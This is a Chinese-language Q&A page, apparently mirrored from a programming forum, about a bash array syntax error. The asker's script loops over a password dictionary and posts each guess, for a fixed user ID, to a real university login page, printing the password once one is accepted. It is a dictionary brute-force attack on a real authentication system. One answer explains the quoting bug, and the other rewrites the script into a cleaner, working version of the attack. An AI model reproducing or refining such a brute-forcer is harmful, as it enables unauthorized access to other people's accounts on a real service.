语法错误:我的代码上预期有操作数(错误标记为““ 0”“)

时间:2019-01-14 13:14:26

标签: bash

我对bash脚本有疑问。这是我的代码,但运行时出现错误。请告诉我什么是问题以及如何解决?

#!/bin/bash
clear
old_IFS=$IFS
IFS=$'\n'
lines={$(cat dic.txt)}
IFS=$old_IFS
linesNum=${#lines[@]}
i=0
while [ $i -lt $linesNum ]
do
    curl --silent --data '__VIEWSTATE=/wEPDwUKMjA2NTYzNTQ5MmRkM9W6oZR3v6vTlgum6RRE+XBA1YwwnX5efXI7H3VYGhb90nffjJgTX9BC2vcXTKn5JQP7gGZqRX5i6+UBKQJYpA==&__VIEWSTATEGENERATOR=6A475423&__EVENTVALIDATION=/wEdAAaQshnEBVjtUzZSOPhpyCK04ALG8S7ZiLlJqSsuXBsjGz/LlbfviBrHuco87ksZgLcCRt9NnSPADSFObzNVq3ShPZSQos3ErAwfDmhlNwH4qEsT6FfmV7ULQ7j/FGM5sO744qbWJoRwx8DdO7AyAGSCIHJNCxliL9wbeJx4BbqKpujh8LdA0lq2IWQA/fzdzgdrfpaMf8EyK24t6s+s9NNx&TxtMiddle=<r F51851="" F80351="935255415" F80401="${lines[\"$i\"]}" F83181="" F51701=""/>&Fm_Action=09&Frm_Type=&Frm_No=&TicketTextBox=' https://reg.pnu.ac.ir/forms/authenticateuser/main.htm | grep "کد1" >> /dev/null ; check=$?
    if [ $check -eq '0' ]
    then
        echo " Password not found!"
    else
        echo " Password is: ${lines[\"$i\"]}"
        break
    fi
    ((i++))
done

2 个答案:

答案 0 :(得分:1)

Bash数组声明为:

arr=(elem1 elem2 elem3)

然后像这样访问元素:

> echo "${arr[0]}"
elem1

如果要使用索引,可以执行以下操作:

> i=1
> echo "${arr[$i]}"
elem2

[...]之间的部分未重新评估-即。引号没有被删除,完全发生了变量扩展。

因此以下操作将无效:

> i=2
> echo "${arr["$i"]}"
bash: \"2\": syntax error: operand expected (error token is "\"2\"")

由于未从bash数组索引中删除引号,并且不允许使用引号,因此会导致语法错误。

这应该足以解决脚本中的错误。 ${lines[\"$i\"]}${lines['$i']}都不正确,并且语法错误。

答案 1 :(得分:0)

您的代码包含许多反模式。要跨文件中的行循环,一次只需read -r一行。要检查command是否成功,请使用if command而不是command; if [ $? -eq 0 ]

#!/bin/bash
#clear  # just don't
fmt_data='__VIEWSTATE=/wEPDwUKMjA2NTYzNTQ5MmRkM9W6oZR3v6vTlgum6RRE+XBA1YwwnX5efXI7H3VYGhb90nffjJgTX9BC2vcXTKn5JQP7gGZqRX5i6+UBKQJYpA==&__VIEWSTATEGENERATOR=6A475423&__EVENTVALIDATION=/wEdAAaQshnEBVjtUzZSOPhpyCK04ALG8S7ZiLlJqSsuXBsjGz/LlbfviBrHuco87ksZgLcCRt9NnSPADSFObzNVq3ShPZSQos3ErAwfDmhlNwH4qEsT6FfmV7ULQ7j/FGM5sO744qbWJoRwx8DdO7AyAGSCIHJNCxliL9wbeJx4BbqKpujh8LdA0lq2IWQA/fzdzgdrfpaMf8EyK24t6s+s9NNx&TxtMiddle=<r F51851="" F80351="935255415" F80401="%s" F83181="" F51701=""/>&Fm_Action=09&Frm_Type=&Frm_No=&TicketTextBox='
url='https://reg.pnu.ac.ir/forms/authenticateuser/main.htm'

while read -r line; do
    if curl --silent --data "$(printf "$fmt_data" "$line")" "$url" |
        grep -q "کد1"
    then
        echo "$0: Password not found!" >&2
    else
        echo "$0: Password is: $line" >&2
        break
    fi
done <dic.txt